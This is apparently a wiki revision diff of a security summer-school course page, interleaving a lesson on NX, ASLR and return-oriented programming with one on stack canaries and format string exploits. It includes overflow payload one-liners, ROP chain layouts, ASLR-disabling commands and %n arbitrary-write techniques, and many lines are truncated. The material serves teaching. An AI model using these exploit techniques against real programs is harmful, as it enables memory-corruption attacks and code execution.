This shows you the differences between two versions of the page.
Both sides previous revision Previous revision Next revision | Previous revision | ||
session:11 [2020/07/08 09:13] Liza-Elena BABU (78556) [Address Space Layout Randomization (ASLR)] |
session:11 [2020/07/19 12:49] (current) |
||
---|---|---|---|
Line 1: | Line 1: | ||
- | = 0x08. Return Oriented Programming | + | ====== 0x0A: Information Leaks ====== |
- | == Resources | + | ===== Slides ===== |
- | [[https:// | + | ===== Resources ===== |
- | [[https:// | + | [[https:// |
- | [[https://security.cs.pub.ro/summer-school/res/arc/11-return-oriented-programming-full.zip|Session' | + | [[https://github.com/hexcellents/ |
+ | ===== Stack Protection (Canaries) ===== | ||
- | === Executable Space Protection | + | The name comes from canaries (birds) that were used by mining workers when entering mines and were affected by any deadly gases such as methane before humans were. In our case, stack canaries are used to check if a buffer overflow of a stack variable resulted in overriding the return address. The mechanism is based on a (sometimes random) value that is placed on each function' |
- | The **executable space protection** is an instance of the **principle of least privilege**, | + | {{ :session: |
- | The mechanism | + | There are 3 main variations of this mechanism: |
- | **NX bit:** This is the easiest method, and involves an extra bit added to each page table entry that specifies if the memory | + | **Random** canaries are generated when programs start, and are stored in a global variable. The global variable //can// be located in a memory region surrounded by unmapped pages - this protects against information leak attacks (see next section) |
- | **Physical Address Extension (PAE):** Besides | + | The **terminator** canaries contain string termination characters such as '' |
- | **Emulation:** The NX bit can be emulated on older (i.e., non-PAE) 32-bit processors by overloading | + | The **random XOR** canaries work by applying a XOR-based algorithm having both a random number |
< | < | ||
- | This security feature gets in the way of **just-in-time (JIT)** compilers, which need to produce and write code at runtime, and that is later executed. Since a JIT compiler cannot run in this kind of secured environment, | + | **crt0.o** is a set of initialization routines linked into compiled C programs, and executed before calling '' |
- | + | ||
- | * Slides: | + | |
- | * Paper: [[http:// | + | |
</ | </ | ||
- | There are of course other implementations in different hardening-oriented projects such as: OpenBSD [[http:// | + | The 3 well known implementations of stack protections |
- | ==== Walk-through | + | ==== StackGuard ==== |
- | The Linux kernel provides support for managing | + | The [[https:// |
<note important> | <note important> | ||
- | PaX has a protection option that restricts the use of '' | + | [[http://courses.cs.washington.edu/courses/cse504/ |
</ | </ | ||
- | Let's start by deactivating ASLR, which is going to be discussed in the following section of this tutorial, and only focus on the NX protection. We can do this in two ways, as told below: | + | ==== StackShield ==== |
- | To disable ASLR system-wide we use (root access | + | The most notable feature of StackShield, |
- | <code bash> | + | ==== ProPolice ==== |
- | ~$ sudo bash -c 'echo 0 > / | + | |
- | </ | + | |
- | To create a shell with ASLR disabled (ASLR will also be disabled for future processes spawned | + | ProPolice, proposed by IBM, started |
- | <code bash> | + | {{ : |
- | ~$ setarch $(uname -m) -R /bin/bash | + | |
- | </ | + | |
- | Let' | + | < |
+ | GCC supports 3 levels of stack smashing protection: complete, normal, and strong. The difference lies in the types of function that are protected, with the decision being made by looking at what kinds of local variables are used. Details in [[http:// | ||
+ | </ | ||
+ | |||
+ | Let's compile | ||
+ | |||
+ | <file c ssp.c> | ||
+ | void func() { | ||
+ | char buffer[1337]; | ||
+ | return; | ||
+ | } | ||
- | <code c> | ||
int main() { | int main() { | ||
- | | + | |
+ | return 0; | ||
} | } | ||
- | </code> | + | </file> |
+ | |||
+ | Compile the file using: | ||
<code bash> | <code bash> | ||
- | ~$ CFLAGS=' | + | ~$ CFLAGS=' |
</ | </ | ||
- | As presented in [[session: | + | The disassembled code for '' |
- | + | ||
- | < | + | |
- | Program Headers: | + | |
- | Type | + | |
- | PHDR | + | |
- | INTERP | + | |
- | [Requesting program interpreter: | + | |
- | LOAD | + | |
- | LOAD | + | |
- | DYNAMIC | + | |
- | NOTE | + | |
- | GNU_EH_FRAME | + | |
- | GNU_STACK | + | |
- | GNU_RELRO | + | |
- | + | ||
- | | + | |
- | Segment Sections... | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | </ | + | |
- | + | ||
- | + | ||
- | Check the '' | + | |
- | + | ||
- | Next we are interested in seeing calls to '' | + | |
<code bash> | <code bash> | ||
- | ~$ strace | + | ~$ objdump |
</ | </ | ||
- | < | + | < |
- | [ Process PID=11198 runs in 32 bit mode. ] | + | 0804841b < |
- | mmap2(0x8048000, 4096, PROT_READ|PROT_EXEC, | + | 804841b: |
- | mmap2(0x8049000, | + | |
- | mmap2(NULL, 4096, PROT_READ|PROT_WRITE, | + | 804841e: 81 ec 48 05 00 00 sub esp,0x548 |
- | mmap2(NULL, 8192, PROT_READ|PROT_WRITE, | + | 8048424: 65 a1 14 00 00 00 mov eax,gs:0x14 |
- | mmap2(NULL, 156324, PROT_READ, MAP_PRIVATE, | + | 804842a: 89 45 f4 |
- | mmap2(NULL, 1763964, PROT_READ|PROT_EXEC, | + | 804842d: 31 c0 xor eax,eax |
- | mmap2(0xf7fcd000, | + | 804842f: |
- | mmap2(0xf7fd0000, | + | 8048430: 8b 45 f4 |
- | mmap2(NULL, 4096, PROT_READ|PROT_WRITE, | + | 8048433: 65 33 05 14 00 00 00 xor eax,DWORD PTR gs:0x14 |
- | mprotect(0xf7fcd000, | + | |
- | mprotect(0x8049000, | + | 804843c: e8 af fe ff ff |
- | mprotect(0x56575000, | + | 8048441: |
+ | 8048442: | ||
</ | </ | ||
- | We can observe | + | We can observe |
- | <note important> | + | <file text canary.gdb> |
- | Note that the **stack** is not explicitly allocated by the loader. The kernel will keep increasing it each time a page fault is triggered without calling '' | + | set disassembly-flavor intel |
- | </note> | + | file ssp |
+ | break *0x804842a | ||
+ | commands | ||
+ | p/x $eax | ||
+ | c | ||
+ | end | ||
+ | run | ||
+ | quit | ||
+ | </file> | ||
- | We can dump all memory mappings of the still running process as follows: | + | Run using: |
<code bash> | <code bash> | ||
- | ~$ ps u | grep /lib/ld-linux.so.2 | + | ~$ gdb -x canary.gdb ssp |
- | ... | + | |
- | ~$ cat / | + | |
</ | </ | ||
- | <note important> | + | ==== Defeating Canaries ==== |
- | Make sure to use the PID of the loader process, and not the '' | + | |
- | </ | + | |
- | <code bash> | + | This [[http://www.blackhat.com/presentations/bh-usa-04/ |
- | ~$ cat /proc/11198/maps | + | |
- | </code> | + | |
- | <code text> | + | For example, the attacker might target: |
- | 08048000-08049000 r-xp 00000000 00:22 5769082 | + | * parameters function pointers (pushed onto the stack before calling functions) |
- | 08049000-0804a000 r--p 00000000 00:22 5769082 | + | * the return address |
- | 0804a000-0804b000 rw-p 00001000 00:22 5769082 | + | * the old base pointer |
- | 56555000-56575000 r-xp 00000000 08:05 827365 | + | * a plain function pointer (local variable) |
- | 56575000-56576000 r--p 0001f000 08:05 827365 | + | |
- | 56576000-56577000 rw-p 00020000 08:05 827365 | + | |
- | f7e23000-f7e24000 rw-p 00000000 00:00 0 | + | |
- | f7e24000-f7fcd000 r-xp 00000000 08:05 823395 | + | |
- | f7fcd000-f7fcf000 r--p 001a9000 08:05 823395 | + | |
- | f7fcf000-f7fd0000 rw-p 001ab000 08:05 823395 | + | |
- | f7fd0000-f7fd3000 rw-p 00000000 00:00 0 | + | |
- | f7ffa000-f7ffd000 rw-p 00000000 00:00 0 | + | |
- | f7ffd000-f7ffe000 r-xp 00000000 00:00 0 [vdso] | + | |
- | fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack] | + | |
- | </ | + | |
- | === Bypassing NX | + | Buffers could be stored either on the stack, the heap or '' |
- | **ret-to-plt/ | + | <note important> |
- | + | Note that attacks | |
- | **Return Oriented Programming (ROP).** This is a generalization of the ret-to-* approach that makes use of existing code to execute almost anything. As this is probably one of the most common types of attacks, it will be discussed in depth in a future section. | + | |
- | + | ||
- | **mprotect().** If the application is using '' | + | |
- | + | ||
- | < | + | |
- | Today we will talk about the first 2 methods to bypass NX. **mprotect()** will be introduced in the next sessions. | + | |
</ | </ | ||
- | === Address Space Layout Randomization (ASLR) | + | Besides indirect attacks, stack canaries can also be defeated if the attacker is able to exploit an **information leak** vulnerability. |
- | Address Space Layout Randomization (ASLR) is a security feature that maps different memory regions of an executable at random addresses. This prevents buffer overflow-based attacks that rely on known addresses such as the stack (for calling into shellcode), or dynamically linked libraries (for calling functions that were not already linked with the target binary). Usually, the sections that are randomly mapped are: the stack, the heap, the VDSO page, and the dynamic libraries. The code section can also be randomly mapped for [[http:// | ||
- | <note important> | + | ===== Format String Exploits ===== |
- | Linux allows 3 options for its ASLR implementation that can be configured using the ''/ | + | |
- | * **0**: deactivated | + | |
- | * **1**: random stack, vdso, libraries; heap is after code section; random code section (only for PIE-linked binaries) | + | |
- | * **2**: random heap too | + | |
+ | <note warning> | ||
+ | In the following, '' | ||
+ | This formality arises from this paper on [[https:// | ||
</ | </ | ||
- | Make sure you reactivate ASLR after the previous section | + | The scenario that enables format string vulnerabilities is the direct use of unsanitized user provided input as a parameter to functions that can perform special operations based on that input. |
+ | Eg. | ||
- | If you disabled ASLR system-wide, | + | <code C> |
- | + | void print_something(char* user_input) | |
- | <code bash> | + | { |
- | ~$ sudo bash -c 'echo 2 > / | + | |
+ | } | ||
</ | </ | ||
- | If you disabled ASLR at shell level, simply **close the shell** such as issuing the '' | + | vs. |
- | We can easily demonstrate the effects on shared libraries by running '' | + | <code C> |
- | + | void print_something(char* user_input) | |
- | ==== PLT and GOT | + | { |
- | + | | |
- | ASLR is not the only feature that prevents the compiler and the linker from solving some relocations before the binary is actually running. Shared libraries can also be combined in different ways, so the first time you actually know the address of a shared library is while the loader is running. The ASLR feature is orthogonal to this - the loader could choose to assign address to libraries in a round-robin fashion, or could use ASLR to assign them randomly. | + | } |
- | + | ||
- | Of course, we might be inclined to have the loader simply fix all relocations in the code section after it loaded the libraries, but this breaks the memory access protection of the '' | + | |
- | + | ||
- | To solve this problems we need another level of indirection: | + | |
- | + | ||
- | The PLT is responsible of finding the shared library function address when it is first called | + | |
- | + | ||
- | Let's take a quick look at the code generated for a shared library call. You can use any binary you like, we'll just show an example from one that simply calls '' | + | |
- | + | ||
- | <code bash> | + | |
- | ~$ objdump -D -j .text -M intel hello | grep puts | + | |
- | </ | + | |
- | <code text> | + | |
- | | + | |
</ | </ | ||
+ | ==== Format functions ==== | ||
+ | A number of format functions are defined in the ANSI C definition. There are some basic format string functions on which more complex functions are based on, some of which are not part of the standard but are widely available. | ||
+ | Real family members: | ||
+ | * fprintf — prints to a FILE stream | ||
+ | * printf — prints to the ‘stdout’ stream | ||
+ | * sprintf — prints into a string | ||
+ | * snprintf — prints into a string with length checking | ||
+ | * vfprintf — print to a FILE stream from a va_arg structure | ||
+ | * vprintf — prints to ‘stdout’ from a va_arg structure | ||
+ | * vsprintf — prints to a string from a va_arg structure | ||
+ | * vsnprintf — prints to a string with length checking from a va_arg structure | ||
- | We can see that the '' | + | == Relatives: == |
+ | * setproctitle — set argv[] | ||
+ | * syslog — output to the syslog facility | ||
+ | * others like err*, verr*, warn*, vwarn* | ||
- | <code bash> | + | === Use of format functions === |
- | ~$ readelf --sections hello | + | To understand where this vulnerability is common in C code, we have to examine the purpose of format functions. |
- | </code> | + | |
- | <code text> | + | == Functionality == |
- | ... | + | * used to convert simple C datatypes to a string representation |
- | [12] .plt PROGBITS | + | * allow to specify the format of the representation |
- | ... | + | * process the resulting string (output to stderr, stdout, syslog, |
- | </ | + | |
- | Let's see how the code there looks like: | + | == How the format function works == |
+ | * the format string controls the behaviour of the function | ||
+ | * it specifies the type of parameters that should be printed | ||
+ | * parameters are saved on the stack (pushed) | ||
+ | * saved either directly (by value), or indirectly (by reference) | ||
- | <code bash> | + | == The calling function == |
- | ~$ objdump -D -j .plt -M intel hello | grep -A 3 '< | + | * has to know how many parameters it pushes to the stack, since it has to do the stack correction, when the format function returns |
- | </ | + | |
- | < | + | === What exactly is a format string === |
- | 080482f0 | + | A format string is an ASCIIZ string that contains |
- | 80482f0: ff 25 00 a0 04 08 jmp DWORD PTR ds: | + | Example: |
- | | + | <code C> |
- | | + | printf ("The magic number is: %d\n", 1911); |
</ | </ | ||
+ | The text to be printed is "The magic number is:", followed by a format parameter (" | ||
+ | < | ||
- | We see it jumping to a pointer stored at '' | + | Some format parameters: |
- | <code bash> | + | ^ Parameter |
- | ~$ readelf --relocs hello | + | | %d | decimal(int) |
- | </ | + | | %u | unsigned decimal (unsigned int) | value | |
+ | | %x | hexadecimal (unsigned int) | value | | ||
+ | | %s | string ( char *) | reference | ||
+ | | %n | number of bytes written so far, (* int) | reference | ||
- | <code text> | + | The ' |
- | ... | + | Example: |
- | Relocation section ' | + | <code C> |
- | Offset | + | printf ("The magic number is: \x25d\n", |
- | 0804a000 | + | |
- | ... | + | |
</ | </ | ||
+ | The code above works, because ' | ||
- | Ok, good, but what is actually stored | + | ==== The stack and its role at format strings ==== |
- | + | The behaviour of the format function is controlled by the format string. The function retrieves the parameters requested by the format string from the stack. | |
- | < | + | < |
- | ~$ objdump -s -M intel -j .got.plt --start-address=0x0804a000 hello | + | printf (" |
</ | </ | ||
- | <code text> | + | From within the '' |
- | hello: file format elf32-i386 | + | {{ :session:format_string_stack.png? |
- | Contents of section | + | The format function now parses the format string ' |
- | 804a000 f6820408 06830408 16830408 | + | should be evaluated. The string " |
- | </ | + | |
- | We recognize '' | + | ==== What do we control? ==== |
- | + | Through supplying | |
- | < | + | the process to full control of the execution flow. |
- | ~$ objdump -D -j .plt -M intel hello | grep -A 3 ' | + | ==== Crash of the program ==== |
+ | By utilizing format strings we can easily trigger some invalid pointer access by just supplying a format string like: | ||
+ | < | ||
+ | printf (" | ||
</ | </ | ||
- | + | Because ' | |
- | <code text> | + | implementations offer the ' |
- | 080482e0 < | + | ==== Viewing the stack ==== |
- | 80482e0: ff 35 f8 9f 04 08 push DWORD PTR ds: | + | We can show some parts of the stack memory by using a format string like this: |
- | 80482e6: ff 25 fc 9f 04 08 jmp DWORD PTR ds: | + | <code C> |
- | 80482ec: 00 00 add BYTE PTR [eax],al | + | printf (" |
</ | </ | ||
- | + | This works, because we instruct | |
- | < | + | |
- | Going further into the resolver is left as an exercise. You can use GDB to inspect the address in '' | + | |
- | </ | + | |
- | + | ||
- | What's going on here? What's actually happening is //lazy binding// — by convention when the dynamic linker loads a library, it will put an identifier and resolution | + | |
- | + | ||
- | === 00. Tutorial | + | |
- | + | ||
- | Go to the '' | + | |
- | + | ||
- | In the previous sessions we used stack overflow vulnerabilities to inject new code into a running process (on its stack) and redirect execution to it. This attack is easily defeated by making the stack, together with any other memory page that can be modified, non-executable. This is achieved by setting the NX bit in the page table. | + | |
- | + | ||
- | We will try to bypass this protection for the '' | + | |
< | < | ||
- | setarch $(uname -m) -R /bin/bash | + | 40012980.080628c4.bffff7a4.00000005.08059c04 |
</ | </ | ||
+ | This is a partial dump of the stack memory, starting from the current bottom of the stack towards the top — assuming the stack grows towards the low addresses. Depending on the size of the format string buffer and the size of the output buffer, you can reconstruct more or less large parts of the stack memory by using this technique. In some cases you can even retrieve the entire stack memory. | ||
+ | A stack dump gives important information about the program flow and local function variables and may be very helpful for finding the correct offsets for a successful exploitation. | ||
+ | ==== Viewing memory at any location | ||
+ | It is also possible to peek at memory locations different from the stack memory. To do this we have to get the format function to display memory from an address we can supply. | ||
+ | This poses two problems to us: | ||
+ | * First, we have to find a format parameter which uses an address (by reference) as stack parameter and displays memory from there | ||
+ | * Secondly, we have to supply that address. | ||
+ | We are lucky in the first case, since the ' | ||
+ | So the remaining problem is, how to get that address on the stack, into the right place. | ||
- | Let's take a look at the program headers and confirm that the stack is no longer executable. We only have read and write (RW) permissions for the stack area. | ||
+ | Our format string is usually located on the stack itself, so we already have near to full control over the space where the format string lies. | ||
+ | The format function internally maintains a pointer to the stack location of the current format parameter. | ||
+ | If we would be able to get this pointer pointing into a memory space we can control, we can supply an address to the ' | ||
<note important> | <note important> | ||
- | The auth binary requires | + | For re-creating the following attack you should place the string passed to '' |
- | + | ||
- | You can find '' | + | |
</ | </ | ||
- | + | To modify the stack pointer we can simply use dummy parameters that will ' | |
- | <code bash> | + | < |
- | $ checksec 1-random | + | printf |
- | [...] | + | |
- | NX: NX enabled | + | |
- | [...] | + | |
- | </code> | + | |
- | For completeness, | + | |
- | < | + | |
- | $ python -c ' | + | |
- | [0x80484f1] __libc_start_main(0x80486af, | + | |
- | [0x8048601] malloc(20) | + | |
- | [0x80485df] puts("Enter password: "Enter password: | + | |
- | ) = 17 | + | |
- | [0x80485ea] gets(c, 0x8048601, 0x80486af, 0xb7cdecb0, 0xb7cdecb7) | + | |
- | [0x8048652] memset(0x0804b008, | + | |
- | [0x8048671] SHA1(0xbfffee63, | + | |
- | [0x41414141] --- SIGSEGV (Segmentation fault) --- | + | |
- | [0xffffffff] +++ killed by SIGSEGV +++ | + | |
</ | </ | ||
+ | The ' | ||
+ | After more or less of this increasing parameters the stack pointer points into our memory: the format string itself. | ||
+ | The format function always maintains the lowest stack frame, so if our buffer lies on the stack at all, it lies above the current stack pointer for sure. | ||
+ | If we choose the number of ‘%08x’ parameters correctly, we could just display memory from an arbitrary address, by appending ' | ||
- | Check the source file - the buffer length | + | In our case the address |
+ | Example: | ||
- | We can now jump anywhere. Unfortunately, | ||
< | < | ||
- | $ python -c ' | + | address = 0x08480110 |
- | [0x80484f1] __libc_start_main(0x80486af, | + | address (encoded as 32 bit le string): |
- | [0x8048601] malloc(20) | + | |
- | [0x80485df] puts(" | + | |
- | ) = 17 | + | |
- | [0x80485ea] gets(0xbfffee63, | + | |
- | [0x8048652] memset(0x0804b008, | + | |
- | [0x8048671] SHA1(0xbfffee63, | + | |
- | [0xbfffee63] --- SIGSEGV (Segmentation fault) --- | + | |
- | [0xffffffff] +++ killed by SIGSEGV +++ | + | |
</ | </ | ||
- | Oh, such a bummer! It didn't work. How about we try to jump to some existing code? | ||
- | < | ||
- | $ objdump -d auth | grep -A 15 "< | ||
- | 080485ec < | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | </ | ||
- | Lets try '' | ||
- | < | ||
- | $ python -c 'print " | ||
- | [0x80485df] puts(" | ||
- | ) = 17 | ||
- | [0x804861b] puts(" | ||
- | ) = 14 | ||
- | [0xffffffff] +++ exited (status 1) +++ | ||
+ | <code C> | ||
+ | printf (" | ||
</ | </ | ||
- | === Return Oriented Programming | ||
- | {{ : | + | This will dump memory from 0x08480110 until a NULL byte is reached. By increasing the memory address dynamically we can map out the entire process space. |
+ | It is even possible to create a coredump like image of the remote process and to reconstruct a binary from it. It is also helpful to find the cause of unsuccessful exploitation attempts. | ||
- | ==== Motivation | + | If we cannot reach the exact format string boundary by using 4-Byte pops ('%08x' |
- | In the previous sessions | + | This is analog to the alignment in buffer overflow exploits. |
- | < | + | |
- | RET + 0x00: addr of system | + | |
- | RET + 0x04: | + | |
- | RET + 0x08: | + | |
- | </ | + | |
- | + | ||
- | However, what happens when you need to call multiple functions? Say you need to call f1() and then f2(0xAB, 0xCD)? The payload should be: | + | |
- | < | + | |
- | RET + 0x00: addr of f1 | + | |
- | RET + 0x04: addr of f2 (return address after f1 finishes) | + | |
- | RET + 0x08: JUNK (return address after f2 finishes: we don't care about what happens after the 2 functions are called) | + | |
- | RET + 0x0c: 0xAB (param1 of f2) | + | |
- | RET + 0x10: 0xCD (param2 of f2) | + | |
- | </ | + | |
- | What about if we need to call f1(0xAB, 0xCD) and then f2(0xEF, 0x42) ? | + | |
- | < | + | |
- | RET + 0x00: addr of f1 | + | |
- | RET + 0x04: addr of f2 (return address after f1 finishes) | + | |
- | RET + 0x08: 0xAB (param1 of f1) | + | |
- | RET + 0x0c: 0xCD (param2 of f1) but this should also be 0xEF (param1 of f2) | + | |
- | RET + 0x10: 0x42 (param2 of f2) | + | |
- | </ | + | |
- | + | ||
- | This kind of conflict can be resolved using Return Oriented Programming, | + | |
- | ==== NOP analogy | + | ==== Exploitation - through pure format strings ==== |
- | While '' | + | Our goal in the case of exploitation is to be able to control the instruction pointer, i.e we want to extend our very limited control — the ability to control the behaviour |
- | Let' | + | Let' |
- | < | + | < |
- | int main() | + | |
{ | { | ||
- | char a[16]; | + | char buffer[512]; |
- | read(0, a, 100); | + | snprintf |
- | + | buffer[sizeof (buffer) - 1] = ’\0’; | |
- | return | + | |
} | } | ||
</ | </ | ||
- | This code obviously suffers from a stack buffer | + | In the code above it is not possible to enlarge our buffer |
- | Remember the NOP sled concept from previous sessions? These were long chains | + | At first it may look as if we cannot do much useful things, except crashing |
- | Since we can't add any new code to the program | + | |
- | < | + | |
- | # objdump | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | </ | + | |
- | Any and all of these addresses | + | |
- | < | + | |
- | RET + 0x00: | + | |
- | RET + 0x04: | + | |
- | RET + 0x08: | + | |
- | RET + 0x0c: | + | |
- | RET + 0x10: | + | |
- | ..... | + | |
- | </ | + | |
- | The original ret (in the normal code flow) will pop RET+0x00 off the stack and jump to it. When it gets popped the stack is automatically increased by 4 (on to the next value). The instruction at '' | + | |
- | That payload | + | Lets remember the format parameters mentioned. There is the '%n' parameter, |
- | < | + | The address of the variable is given to the format function by placing an integer pointer as parameter onto the stack. |
- | RET + 0x00: | + | Example: |
- | RET + 0x04: | + | < |
- | RET + 0x08: | + | int i; |
- | RET + 0x0c: | + | printf (" |
- | RET + 0x10: | + | printf ("i = %d\n", i); |
- | ..... | + | |
</ | </ | ||
- | Notice the addresses are different but because they all point to a '' | + | Would print "i = 6". With the same method |
- | + | ||
- | <note warning> | + | |
- | Take a moment to fully understand what is happening here. Run your own program and step through the payload to see this in action before proceeding. | + | |
- | Follow along using this skeleton to generate the payloads. | + | |
- | </ | + | |
- | <file python skel.py> | + | |
- | # | + | |
- | import struct, sys | + | |
- | + | ||
- | def dw(i): | + | |
- | return struct.pack("< | + | |
- | + | ||
- | #TODO update count for your prog | + | |
- | pad_count_to_ret = 100 | + | |
- | payload | + | |
- | + | ||
- | #TODO figure out the rop chain | + | |
- | payload += dw(0xcafebeef) | + | |
- | payload += dw(0xdeadc0de) | + | |
- | + | ||
- | + | ||
- | sys.stdout.write(payload) | + | |
- | + | ||
- | </ | + | |
- | + | ||
- | + | ||
- | ==== Gadgets & ROP chains | + | |
- | Now that we have a sort of neutral primitive equivalent | + | |
- | The building blocks of ROP payloads are called gadgets. These are blocks of instructions that end with a ' | + | |
- | Here are some ' | + | |
< | < | ||
- | 0x8048443: pop ebp; ret | + | " |
- | 0x80484a7: pop edi; pop ebp; ret | + | |
- | 0x8048441: mov ebp,esp; pop ebp; ret | + | |
- | 0x80482da: pop eax; pop ebx; leave; ret | + | |
- | 0x80484c3: pop ecx; pop ebx; leave; ret | + | |
</ | </ | ||
- | By carefully stitching such gadgets on the stack we can bring code execution | + | With the ' |
- | As an example let's say we would like to load 0x41424344 into eax and 0x61626364 into ebx. The payload should look like: | + | We do this until this pointer points |
+ | The '%n' writes | ||
+ | But if we supply a correct mapped and writeable address this works and we overwrite four bytes (sizeof (int)) at the address: | ||
< | < | ||
- | RET + 0x00: | + | " |
- | RET + 0x04: | + | |
- | RET + 0x08: | + | |
- | RET + 0x0c: | + | |
</ | </ | ||
- | * First the ret addr is popped from the stack and execution goes there. | ||
- | * At '' | ||
- | * At '' | ||
- | * At '' | ||
- | * At '' | ||
- | We have now seen how gadgets | + | The format string above will overwrite four bytes at 0xbfffc8c0 with a small integer number. |
- | As an example, if we want to call f1(0xAB, 0xCD, 0xEF) on x86_64 we first need to know the calling convention for the first three parameters: | + | We have reached one of our goals: we can write to arbitrary addresses. But we cannot control |
- | * 1st param: RDI | + | |
- | * 2nd param: RSI | + | |
- | * 3rd param: RDX | + | |
- | Next we would need gadgets for each. Let's assume these 2 scenarios: | + | |
- | Scenario 1: | + | |
- | < | + | |
- | 0x400124: | + | |
- | 0x400235: | + | |
- | 0x400440: | + | |
- | Payload: | + | The number we are writing — the count of characters written by the format function — is dependant on the format string. |
- | RET + 0x00: 0x400124 | + | Since we control the format string, we can at least take influence on this counter, by writing more or less bytes: |
- | RET + 0x08: val of RDI (0xAB) | + | <code C> |
- | RET + 0x10: val of RSI (0xCD) | + | int a; |
- | RET + 0x18: | + | printf |
- | RET + 0x20: val of RDX | + | /* a == 10 */ |
- | RET + 0x28: f1 | + | int a; |
+ | printf | ||
+ | /* a == 150 */ | ||
</ | </ | ||
+ | By using a dummy parameter ' | ||
+ | But for writing large numbers — such as addresses — this is not sufficient, so we have to find a way to write arbitrary data. | ||
- | Scenario 2: | + | An integer number on the x86 architecture is stored in four bytes, which are little-endian ordered, the least significant byte being the first in memory. |
- | < | + | So a number like 0x0000014c is stored in memory as: " |
- | 0x400125: | + | |
- | 0x400252: | + | |
- | 0x400235: | + | |
- | 0x400440: f1() | + | |
- | Payload: | + | For the counter in the format function we can control the least significant byte, the first byte stored in memory by using dummy ' |
- | RET + 0x00: 0x400125 | + | Example: |
- | RET + 0x08: val of RDI (0xAB) | + | <code C> |
- | RET + 0x10: | + | unsigned char foo[4]; |
- | RET + 0x18: val of RSI (0xCD) | + | printf |
- | RET + 0x20: | + | |
- | RET + 0x28: val of RDX | + | |
- | RET + 0x30: f1 | + | |
</ | </ | ||
- | Notice that because the architecture is 64 bits wide, the values on the stack are not dwords but qwords (quad words: 8 bytes wide) | ||
+ | When the printf function returns, foo[0] contains ' | ||
- | The second use of gadgets is to clear the stack. Remember the issue we had in the **Motivation** section? Let's solve it using gadgets. | + | But for an address, there are four bytes that we have to control completely. If we are unable to write four bytes at once, we can try to write a byte a time for four times in a row. |
- | We need to call f1(0xAB, 0xCD) and then f2(0xEF, 0x42). Our initial solution was: | + | On most CISC architectures it is possible |
- | < | + | This would look as follows: |
- | RET + 0x00: addr of f1 | + | < |
- | RET + 0x04: addr of f2 (return address after f1 finishes) | + | unsigned char canary[5]; |
- | RET + 0x08: | + | unsigned char foo[4]; |
- | RET + 0x0c: | + | memset |
- | RET + 0x10: | + | /* 0 * before */ strcpy |
+ | /* 1 */ printf | ||
+ | /* 2 */ printf | ||
+ | /* 3 */ printf | ||
+ | /* 4 */ printf (" | ||
+ | /* 5 * after */ printf (" | ||
+ | foo[2], foo[3]); | ||
+ | printf (" | ||
+ | canary[1], canary[2], canary[3]); | ||
</ | </ | ||
- | + | This returns | |
- | The problem is that those parameters of f1 are getting in the way of calling f2. We need to find a **pop pop ret** gadget. The actual registers | + | By increasing the pointer each time, the least significant byte moves through the memory we want to write to, and allows us to store completely arbitrary data. |
- | + | As you can see in the first row of the following figure, all eight bytes are not touched yet by our overwrite code. | |
- | < | + | From the second row on we trigger four overwrites, shifted by one byte to the right for every step. |
- | RET + 0x00: addr of f1 | + | The last row shows the final desired state: we overwrote all four bytes of our foo array, but while doing so, we destroyed three bytes of the canary array. |
- | RET + 0x04: addr of (pop eax, pop ebx, ret) | + | We included the canary array just to see that we are overwriting memory we do not want to. |
- | RET + 0x08: 0xAB (param1 | + | {{ :session:4-stage-overwrite.png? |
- | RET + 0x0c: 0xCD (param2 of f1) | + | Although this method looks complex, it can be used to overwrite arbitrary data at arbitrary addresses. |
- | RET + 0x10: addr of f2 | + | For explanation |
- | RET + 0x14: JUNK | + | < |
- | RET + 0x18: 0xEF (param1 of f2) | + | strcpy |
- | RET + 0x1c: 0x42 (param2 of f2) | + | printf |
- | </ | + | |
- | Now we can even call the next function f3 if we repeat the trick: | + | |
- | < | + | printf |
- | RET + 0x00: addr of f1 | + | foo[2], foo[3]); |
- | RET + 0x04: addr of (pop eax, pop ebx, ret) | + | printf (" |
- | RET + 0x08: | + | canary[1], canary[2], canary[3]); |
- | RET + 0x0c: | + | |
- | RET + 0x10: addr of f2 | + | |
- | RET + 0x14: addr of (pop eax, pop ebx, ret) | + | |
- | RET + 0x18: | + | |
- | RET + 0x1c: | + | |
- | RET + 0x20: addr of f3 | + | |
</ | </ | ||
+ | We use the ' | ||
+ | So we only have to add 16 characters instead of 32 to it, to get the results we desire. | ||
+ | This was a special case, in which all the bytes increased throughout the writes. But we could also write '' | ||
- | === Some useful ninja tricks | + | Since we write integer numbers and the order is little endian, only the least significant byte is important in the writes. |
- | + | By using counters of 0x80, 0x140, 0x220 and 0x310 characters respectivly when “%n” is triggered, we can construct the desired string. | |
- | ==== Memory spraying | + | The code to calculate |
- | Let's take the following prog: | + | < |
- | < | + | write_byte += 0x100; |
- | int main() | + | already_written %= 0x100; |
- | { | + | padding = (write_byte - already_written) % 0x100; |
- | int x, y ,z; | + | if (padding < 10) |
- | char a,b,c; | + | |
- | char buf[23]; | + | |
- | read(0, buf, 100); | + | |
- | + | ||
- | return 0; | + | |
- | } | + | |
</ | </ | ||
- | A fairly simple overflow, right? How fast can you figure out the offset | + | Where ' |
- | There is a shortcut that you can use to figure this out in under 30 seconds without looking at the assembly. | + | Example: |
+ | <code C> | ||
+ | write_byte = 0x7f; | ||
+ | already_written = 30; | ||
+ | write_byte += 0x100; /* write_byte is 0x17f now */ | ||
+ | already_written %= 0x100; /* already_written is 30 */ | ||
- | A [[ https://en.wikipedia.org/ | + | /* afterwards padding is 97 (= 0x61) */ |
- | + | padding = (write_byte - already_written) % 0x100; | |
- | Peda can help you do this. Here's how: | + | if (padding |
- | <code bash> | + | |
- | gdb-peda$ help pattern_create | + | |
- | Generate a cyclic pattern | + | |
- | Usage: | + | |
- | | + | |
- | + | ||
- | gdb-peda$ pattern_create 100 | + | |
- | ' | + | |
- | + | ||
- | gdb-peda$ help pattern_offset | + | |
- | Search for offset of a value in cyclic pattern | + | |
- | Usage: | + | |
- | pattern_offset value | + | |
- | + | ||
- | gdb-peda$ pattern_offset AA8A | + | |
- | AA8A found at offset: 76 | + | |
</ | </ | ||
